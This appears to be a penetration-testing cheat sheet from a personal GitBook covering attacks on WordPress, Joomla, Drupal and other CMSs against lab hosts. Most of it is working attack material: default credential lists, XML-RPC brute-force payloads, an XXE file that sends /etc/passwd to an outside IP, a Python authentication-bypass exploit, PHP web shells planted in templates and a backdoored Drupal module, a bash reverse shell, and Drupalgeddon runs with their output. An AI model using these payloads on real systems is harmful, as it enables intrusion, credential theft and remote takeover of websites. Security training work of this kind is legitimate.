CMS

Exploit Wordpress, Drupal, Joomla and others CMS

Default credentials

Default Credentials
cat /opt/tools/metasploit-framework/data/wordlists/cms400net_default_userpass.txt 
admin admin
builtin builtin
jedit jedit
jmember jmember
Admin2 Admin2
tbrown tbrown
jsmith jsmith
vs vs
EkExplorerUser EkExplorerUser
Explorer Explorer
member@example.com member@example.com
north north
supermember supermember
west west

Scanner

Awesome RCE Techniques

Nibbleblog

  • Nibbleblog 4.0.3 - Arbitrary File Upload

GetSimple

  • Get Simple CMS version 3.3.15 and before - CVE-2019-11231 - Unauthenticated Remote Code Execution (Metasploit)

  • GetSimple CMS v3.3.16 - Remote Code Execution (RCE)

Wordpress

Discovery

/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/

Sitemap: https://inlanefreight.local/wp-sitemap.xml
$ curl -s http://blog.inlanefreight.local | grep WordPress

<meta name="generator" content="WordPress 5.8" /

Version

https://target.com/feed
https://target.com/?feed=rss2

Log file

http://target.com/wp-content/debug.log

Fuzzing

Interesting files - Change Target in wordlist

wp-admin.php
wp-config.php
wp-content/uploads
Wp-load
wp-signup.php
Wp-json
wp-includes
wp-login.php
wp-link-opml.php
wp-activate.php
wp-blog-header.php
wp-cron.php
wp-links.php
wp-mail.php
xmlrpc.php
wp-settings.php
wp-trackback.php
wp-signup.php
admin-bar.php
wp-config.php-backup
wp-config.php.orig
wp-config.php.swp
wp-config-sample.php
wp-config.inc
wp-config.old
wp-config.txt
wp-config.php.txt
wp-config.php.bak
wp-config.php.zip
wp-config.php.rar
wp-config.php.tar
wp-config.php.tar.gz
wp-config.php.gz
wp-config.php.old
wp-config.php.dist
wp-config.php.inc
wp-config.php.swp
wp-config.php.html
wp-config-backup.txt
wp-config.php.save
wp-config.php~
wp-config.php.original
.wp-config.php.swp
_wpeprivate/config.json
.env
.env.bak
.env.php
wp-config-backup.php
wp-config.php.save
wp-config.php~
wp-config.php.old
error_log.log
php_error.log
wp.sql
db.sql
wpbackup.sql
mysql_backup.sql
backup.zip
backup.rar
backup.tar
backup.tar.gz
backup.bak
backup.gz
{TARGET}.zip
{TARGET}-backup.zip
{TARGET}.rar
{TARGET}-backup.rar
{TARGET}.tar
{TARGET}-backup.tar
{TARGET}.tar.gz
{TARGET}-backup.tar.gz
{TARGET}.bak
{TARGET}-backup.bak
{TARGET}.gz
{TARGET}-backup.gz

WAF path-based bypass

GET /wp-login.php\xA0

200 OK

Open Registration

/wp-register.php
/wp-register
/wp-login.php?action=register

Directory Listing enabled

/wp-content

Plugins and Themes

Plugins: wp-content/plugins

Themes: wp-content/themes

curl -s http://blog.inlanefreight.local/ | grep themes
curl -s http://blog.inlanefreight.local/ | grep plugins

Grep on different pages - could found more plugins

curl -s http://blog.inlanefreight.local/?p=1 | grep plugins

Version: readme.txt file in /wp-content/plugins/plugin_name/ ?

Username Enumeration

http://target.com/?author=1
/?rest_route=/wp/v2/users 
/?rest_route=/wp-json/wp/v2/users
/wp-json/wp/v2/users
/wp-json/wp/v2/users/1

/wp-login.php

XMLRPC

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Check for the following methods:

wp.getUserBlogs
metaWeblog.getUsersBlogs
wp.getCategories
pingback.ping

Brute force

POST /xmlrpc.php HTTP/1.1
Host: target.com

<?xml version="1.0" encoding="UTF-8"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>admin</value></param> 
<param><value>BRUTEFORCE_IN_HERE</value></param> 
</params> 
</methodCall>

Cross Site Port Attack, XSPA

POST /xmlrpc.php HTTP/1.1
Host: target.com

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://yourip:port</string></value>
</param><param>
<value>
<string>https://target.com></string>
</value>
</param></params>

WPscan

wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB<SNIP>

Automated enumeration on its own is often not enough. Combine both manual (source code, curl, etc.) and automated enumeration

Plugin detection agressive

wpscan --api-token Zn<SNIP> --url "http://blog.inlanefreight.local" --plugins-detection aggressive

WPProbe

WPFinger

wpfinger scan -u https://example.com --all

WPIntel

Nuclei Template

Login Bruteforce

Start with the standard brute-force module, the XMLRPC module doesn't always work. Use a small list (cewl, cewler) before a large list like rockyou.

wpscan -U username -P cewler.txt --url http://IP:PORT/wordpress/
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

With Hydra

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

With Kraken

Kraken - All-in-One Tool

Bypass 403

Bypass 403 / 401

XSS to RCE

For Wordpress Versions 6.X.X, 5.X.X and 4.X.X.

Code Execution

Themes

system($_GET[0]);
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Web Shell

Metasploit

use exploit/unix/webapp/wp_admin_shell_upload 

Exploit aborted due to failure: not-found: The target does not appear to be using WordPress set vhost

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 10.129.42.195  
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST blog.inlanefreight.local

Others (not CPTS)

Leveraging Known Vulnerabilities

Theme - twentytwentyone v1.1

Malicious wav file:


┌──(kali㉿kali)-[~]
└─$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.17.26.83:4444/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > evilsound.wav 

Malicious dtd:

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.11.16.30:4444/?p=%file;'>" >

Upload the payload - Medias

Plugin Vulnerabilities

WooCommerce - LFI

  • Capture request in Burp

  • Change request method to POST and add:

POST /wp-admin/admin-ajax.php?template=../../../../../../../etc/passwd&value=a&min_symbols=1
  • Also add:

action=woof_text_search&

Buddyforms 2.7.7 - Iconv RCE

PHP

Time Clock <= 1.2.2 & Time Clock Pro <= 1.1.4 - Unauthenticated (Limited) Remote Code Execution

Really Simple Security 9.0.0 – 9.1.1.1 – CVE-2024-10924 Authentication Bypass

If 2FA is enabled

POST /wp-json/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;
Connection: keep-alive
Content-Length: 90

{
    "user_id":1,
    "login_nonce": "231231231",
    "redirect_to": "/wp-admin/"
}
import requests
import urllib.parse
import sys

if len(sys.argv) != 2:
    print("Usage: python exploit.py <user_id>")
    sys.exit(1)

user_id = sys.argv[1]

url = "http://vulnerablewp.thm:8080/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
    "user_id": int(user_id),  # User ID from the argument
    "login_nonce": "invalid_nonce",  # Arbitrary value
    "redirect_to": "/wp-admin/"  # Target redirection
}

# Sending the POST request
response = requests.post(url, json=data)

# Checking the response
if response.status_code == 200:
    print("Request successful!\n")
    
    # Extracting cookies
    cookies = response.cookies.get_dict()
    count = 1

    for name, value in cookies.items():
        decoded_value = urllib.parse.unquote(value)  # Decode the URL-encoded cookie value
        print(f"Cookie {count}:")
        print(f"Cookie Name: {name}")
        print(f"Cookie Value: {decoded_value}\n")
        count += 1
else:
    print("Request failed!")
    print(f"Status Code: {response.status_code}")
    print(f"Response Text: {response.text}")

Change cookies and access the page:

Authenticated Contributor Remote Code Execution in Widget Options Plugin <= 4.0.7 - CVE-2024-8672

Unauthenticated Remote Code Execution - Bit File Manager version 6.0 - 6.5.5

Unauthenticated Remote Code Execution – Bricks Builder plugin <= 1.9.6

ValvePress Automatic - CVE-2024-27956 - SQLi

WordPress User Registration & Membership plugin (Free < 4.1.2, Pro < 5.1.2)

Vulnerable Plugins - mail-masta

Unauthenicated SQLi: https://www.exploit-db.com/exploits/41438

LFI: https://www.exploit-db.com/exploits/50226

curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Vulnerable Plugins - wpDiscuz

Command execution https://www.exploit-db.com/exploits/49967

python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1

---------------------------------------------------------------
[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186
[-] https://github.com/hevox
--------------------------------------------------------------- 

[+] Response length:[102476] | code:[200]
[!] Got wmuSecurity value: 5c9398fcdb
[!] Got wmuSecurity value: 1 

[+] Generating random name for Webshell...
[!] Generated webshell name: uthsdkbywoxeebg

[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path:url&quot;:&quot;http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php&quot; 

> id

[x] Failed to execute PHP code...

But Curl works

$ curl -s http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id

GIF689a;

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Formidable Pro plugin

sqlmap -u 'https://target.com/wp-admin/admin-ajax.php' \
  --data 'action=frm_forms_preview&after_html=[display-frm-data id=1 order="%2a(true=true)"]' \
  --param-del ' ' -p true --technique B \
  --tamper=commalesslimit \
  --eval='true=true.replace(",",",-it.id%2b")' \
  --string 'expected_string'
SQLMAP

Joomla

Discovery

$ curl -s http://dev.inlanefreight.local/ | grep Joomla

	<meta name="generator" content="Joomla! - Open Source Content Management" />


<SNIP>

robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

Scanners

Version

curl -s http://dev.inlanefreight.local/README.txt | head -n 5

1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

media/system/js/ directory or administrator/manifests/files/joomla.xml

$ curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -

<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.6" type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>admin@joomla.org</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
  <copyright>(C) 2005 - 2019 Open Source Matters. All rights reserved</copyright>
  <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
  <version>3.9.4</version>
  <creationDate>March 2019</creationDate>
  
 <SNIP>

Enumeration

Wordlist

Droopscan

sudo pip3 install droopescan
droopescan scan joomla --url http://dev.inlanefreight.local/

JoomlaScan

$ python2.7 -m pip install urllib3
$ python2.7 -m pip install certifi
$ python2.7 -m pip install bs4
python2.7 joomlascan.py -u http://dev.inlanefreight.local

Login Brute Force

The default administrator account on Joomla installs is admin

pip3 install bs4
python3 joomla-brute.py -u http://dev.inlanefreight.local -w /opt/tools/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

Also see:

Kraken - All-in-One Tool

Joomla! Config Dist File

https://example.com/configuration.php-dist

Database File List

https://example.com/libraries/joomla/database/

Joomla! 1.6/1.7/2.5 - Privesc by creating admin account

Joomla! < 4.2.8 - Unauthenticated information disclosure - CVE-2023-23752

$ curl http://MACHINE_IP/api/index.php/v1/config/application?public=true | jq

$ curl http://MACHINE_IP/api/index.php/v1/users?public=true | jq

See HTB - Devvortex WU - Poc: https://github.com/Acceis/exploit-CVE-2023-23752

$ gem install httpx docopt paint
$ ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered

Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false

Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4**************##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0
osboxes@osboxes:~$ curl -v http://10.10.5.138/api/index.php/v1/users?public=true | jq
* processing: http://10.10.5.138/api/index.php/v1/users?public=true
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 10.10.5.138:80...
* Connected to 10.10.5.138 (10.10.5.138) port 80
> GET /api/index.php/v1/users?public=true HTTP/1.1
> Host: 10.10.5.138
> User-Agent: curl/8.2.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Dec 2024 15:17:49 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< Permissions-Policy: interest-cohort=()
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 16 Dec 2024 15:17:49 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 401
< Content-Type: application/vnd.api+json; charset=utf-8
< 
{ [401 bytes data]
100   401  100   401    0     0   2955      0 --:--:-- --:--:-- --:--:--  2970
* Connection #0 to host 10.10.5.138 left intact
{
  "links": {
    "self": "http://10.10.5.138/api/index.php/v1/users?public=true"
  },
  "data": [
    {
      "type": "users",
      "id": "109",
      "attributes": {
        "id": 109,
        "name": "root",
        "username": "root",
        "email": "root@root.thm",
        "block": 0,
        "sendEmail": 1,
        "registerDate": "2023-07-19 09:20:46",
        "lastvisitDate": "2023-07-20 10:38:18",
        "lastResetTime": null,
        "resetCount": 0,
        "group_count": 1,
        "group_names": "Super Users"
      }
    }
  ],
  "meta": {
    "total-pages": 1
  }
}
osboxes@osboxes:~$ curl -v http://10.10.5.138/api/index.php/v1/config/application?public=true | jq
* processing: http://10.10.5.138/api/index.php/v1/config/application?public=true
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 10.10.5.138:80...
* Connected to 10.10.5.138 (10.10.5.138) port 80
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.10.5.138
> User-Agent: curl/8.2.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Dec 2024 15:15:48 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< Permissions-Policy: interest-cohort=()
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 16 Dec 2024 15:15:48 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1986
< Content-Type: application/vnd.api+json; charset=utf-8
< 
{ [1986 bytes data]
100  1986  100  1986    0     0  15575      0 --:--:-- --:--:-- --:--:-- 15637
* Connection #0 to host 10.10.5.138 left intact
{
  "links": {
    "self": "http://10.10.5.138/api/index.php/v1/config/application?public=true",
    "next": "http://10.10.5.138/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
    "last": "http://10.10.5.138/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
  },
  "data": [
   <-SNIP-> 
   
      "type": "application",
      "id": "220",
      "attributes": {
        "dbtype": "mysqli",
        "id": 220
      }
    },
    {
      "type": "application",
      "id": "220",
      "attributes": {
        "host": "localhost",
        "id": 220
      }
    },
    {
      "type": "application",
      "id": "220",
      "attributes": {
        "user": "root",
        "id": 220
      }
    },
    {
      "type": "application",
      "id": "220",
      "attributes": {
        "password": "root@123",
        "id": 220
      }
    },
    {
      "type": "application",
      "id": "220",
      "attributes": {
        "db": "joomla_db",
        "id": 220
      }
    },
    {
 <-SNIP->
 
}

Code Execution

See Devvortex HTB WU

Templates

Add <?php system($_GET['cmd']);?> to error.php

Non standard file name:

system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
$ curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse Shell

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.13/1234 0>&1'");
php?>

Plug In - Web Shell

Joomla < 3.9.5

Joomla < 3.9.5 - CVE-2019-10945: directory traversal and authenticated file deletion vulnerability

$ python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
 
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Web Site: Haboob.sa
# Email: research@haboob.sa
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945    
 _    _          ____   ____   ____  ____  
| |  | |   /\   |  _ \ / __ \ / __ \|  _ \ 
| |__| |  /  \  | |_) | |  | | |  | | |_) |
|  __  | / /\ \ |  _ <| |  | | |  | |  _ < 
| |  | |/ ____ \| |_) | |__| | |__| | |_) |
|_|  |_/_/    \_\____/ \____/ \____/|____/ 
                                                                       


administrator
bin
cache
cli
components
images
includes
language
layouts
libraries
media
modules
plugins
templates
tmp
LICENSE.txt
README.txt
configuration.php
htaccess.txt
index.php
robots.txt
web.config.txt

Drupal

Discovery/Footprinting

header or footer message Powered by Drupal

CHANGELOG.txt file or README.txt file, via the page source, or clues in the robots.txt file such as references to /node

$ curl -s http://drupal.inlanefreight.local | grep Drupal

<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />
      <span>Powered by <a href="https://www.drupal.org">Drupal</a></span>

http://drupal.inlanefreight.local/node/1

Enumeration

Wordlist

/core/install.php accessible

If /core/install.php is publicly accessible, in some cases, it could allow an attacker to reinstall the CMS, leading to a potential site takeover.

Scanners

Droopescan

$ droopescan scan drupal -u http://drupal.inlanefreight.local

[+] Plugins found:                                                              
    php http://drupal.inlanefreight.local/modules/php/
        http://drupal.inlanefreight.local/modules/php/LICENSE.txt

[+] No themes found.

[+] Possible version(s):
    8.9.0
    8.9.1

[+] Possible interesting urls found:
    Default admin - http://drupal.inlanefreight.local/user/login

[+] Scan finished (0:03:19.199526 elapsed)

Drupwn

Login Brute Force

Kraken - All-in-One Tool

Leveraging the PHP Filter Module

Drupal before version 8

enable the PHP filter module

http://drupal-qa.inlanefreight.local/#overlay=admin/modules

Content --> Add content and create a Basic page

<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

After clicking save, we will be redirected to the new page

$ curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

From version 8 onwards

Install the PHP Filter module

$ wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

Administration > Reports > Available updates.

Note: Location may differ based on the Drupal version and may be under the Extend menu.

Once the module is installed, we can click on Content and create a new basic page - Refer to Drupal before version 8

Uploading a Backdoored Module

A backdoored module can be created by adding a shell to an existing module. Modules can be found on the drupal.org website. Here, pick CAPTCHA:

$ wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
$ tar xvf captcha-8.x-1.2.tar.gz

shell.php

<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>

create a .htaccess file to give ourselves access to the folder

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>

Copy both of these files to the captcha folder and create an archive

$ mv shell.php .htaccess captcha
$ tar cvf captcha.tar.gz captcha/

captcha/
captcha/.travis.yml
captcha/README.md
captcha/captcha.api.php
captcha/captcha.inc
captcha/captcha.info.yml
captcha/captcha.install

<SNIP>

Manage and then Extend on the sidebar. Next, click on the + Install new module button Browse to the backdoored Captcha archive and click Install

$ curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Drupalgeddon

Versions 7.0 up to 7.31

Pre-authentication SQL injection which can be used to upload malicious code or add an admin user

$ python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd

<SNIP>

[!] VULNERABLE!

[!] Administrator user created!

[*] Login: hacker
[*] Pass: pwnd
[*] Url: http://drupal-qa.inlanefreight.local/?q=node&destination=node

We can log to the admin interface et create a shell - See PHP Filter Module

With Metasploit: exploit/multi/http/drupal_drupageddon

Drupalgeddon2

Versions of Drupal prior to 7.58 and 8.5.1 - RCE

$ python3 drupalgeddon2.py 

################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/

Check: http://drupal-dev.inlanefreight.local/hello.txt
$ curl -s http://drupal-dev.inlanefreight.local/hello.txt

;-)
$ echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64

PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K

Replace the echo command in the exploit script with a command to write out our malicious PHP script

echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php
$ python3 drupalgeddon2.py 

################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/

Check: http://drupal-dev.inlanefreight.local/mrb3n.php
$ curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Metasploit: use exploit/unix/webapp/drupal_drupalgeddon2

Drupalgeddon3

Multiple versions of Drupal 7.x and 8.x - >=7.0 <7.59 || >= 8.0.0 <8.4.8 || >=8.5.0 <8.5.3

First log in and obtain a valid session cookie

sf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195
msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local   
msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1
msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 10.10.14.15

Pluck CMS

Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)

Version 4.7.16

Version 4.7.18

Manually

[Oct 05, 2024 - 03:34:55 (EDT)] exegol-Lab /workspace # wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
--2024-10-05 03:34:56--  https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5491 (5.4K) [text/plain]
Saving to: ‘php-reverse-shell.php’

php-reverse-shell.php 100%[========================>]   5.36K  --.-KB/s    in 0.002s  

2024-10-05 03:34:56 (2.16 MB/s) - ‘php-reverse-shell.php’ saved [5491/5491]

[Oct 05, 2024 - 03:34:56 (EDT)] exegol-Lab /workspace # vim php-reverse-shell.php 
[Oct 05, 2024 - 03:35:25 (EDT)] exegol-Lab /workspace # mv php-reverse-shell.php shell.php
[Oct 05, 2024 - 03:35:48 (EDT)] exegol-Lab /workspace # zip payload.zip shell.php
  adding: shell.php (deflated 59%)

Go to http://domain.com/data/modules/<name_zip_file>/<rev_shell.php>

Ex: http://domain.com/data/modules/payload/shell.php

# nc -nlvp 1234           
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.25.
Ncat: Connection from 10.10.11.25:39930.
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 07:43:21 up 12:33,  0 users,  load average: 0.41, 0.79, 0.86
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

WonderCMS

CVE-2023-41425 - XSS to RCE Unauth

Wonder CMS v.3.2.0 thru v.3.4.2

usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")

If /wondercms/loginURL does not exist, just try /loginURL

Typo3

If you come across a domain that uses Typo3 CMS, be sure to check its parameters. Old version Typo3 CMS may still earn you reward. Payload;

 -1+OR+3 AND if(now()=sysdate(),SLEEP(9),0)-- wXyW2 AND if(now()=sysdate(),SLEEP(9),0)-- wXyW1=6 +AND+000762=000762

Scanners

CMS Made Simple

Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9

Umbraco

Enumeration

Wordlist

Umbraco - CVE-2019-18988 - RCE

Ghost CMS

Reco

Admin Panel: /ghost/ – The admin login page. /ghost/#/signin – Direct link to the sign-in page. Content and Static Files: /content/images/ – Default directory for uploaded images. /content/themes/ – Directory for installed themes. /content/ – Base directory for content, themes, and images. API Endpoints: /ghost/api/v3/ – API endpoint for Ghost CMS v3. /ghost/api/v4/ – API endpoint for Ghost CMS v4. /ghost/api/v4/content/ – Public content API endpoint. /ghost/api/v4/admin/ – Admin API endpoint. Configuration and Backup Files: /config.production.json – Configuration file for the production environment (should not be publicly accessible). /config.development.json – Configuration file for the development environment. /ghost/api/v3/admin/db/ – Potentially accessible database endpoint for backup

Enumeration

Wordlists

CVE-2024-23724 - Stored XSS

CVE-2023-40028 - Arbitrary File Read

CVE-2023-32235 - Path Traversal

SPIP

Craft CMS

Enumeration

Wordlists

CVE-2025-32432: Craft CMS Preauth RCE

CVE-2024-56145

Kentico CMS

XSS to RCE - CVE-2025-2748

FoxCMS

Sitecore Experience Platform

Backdrop CMS

Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

Last updated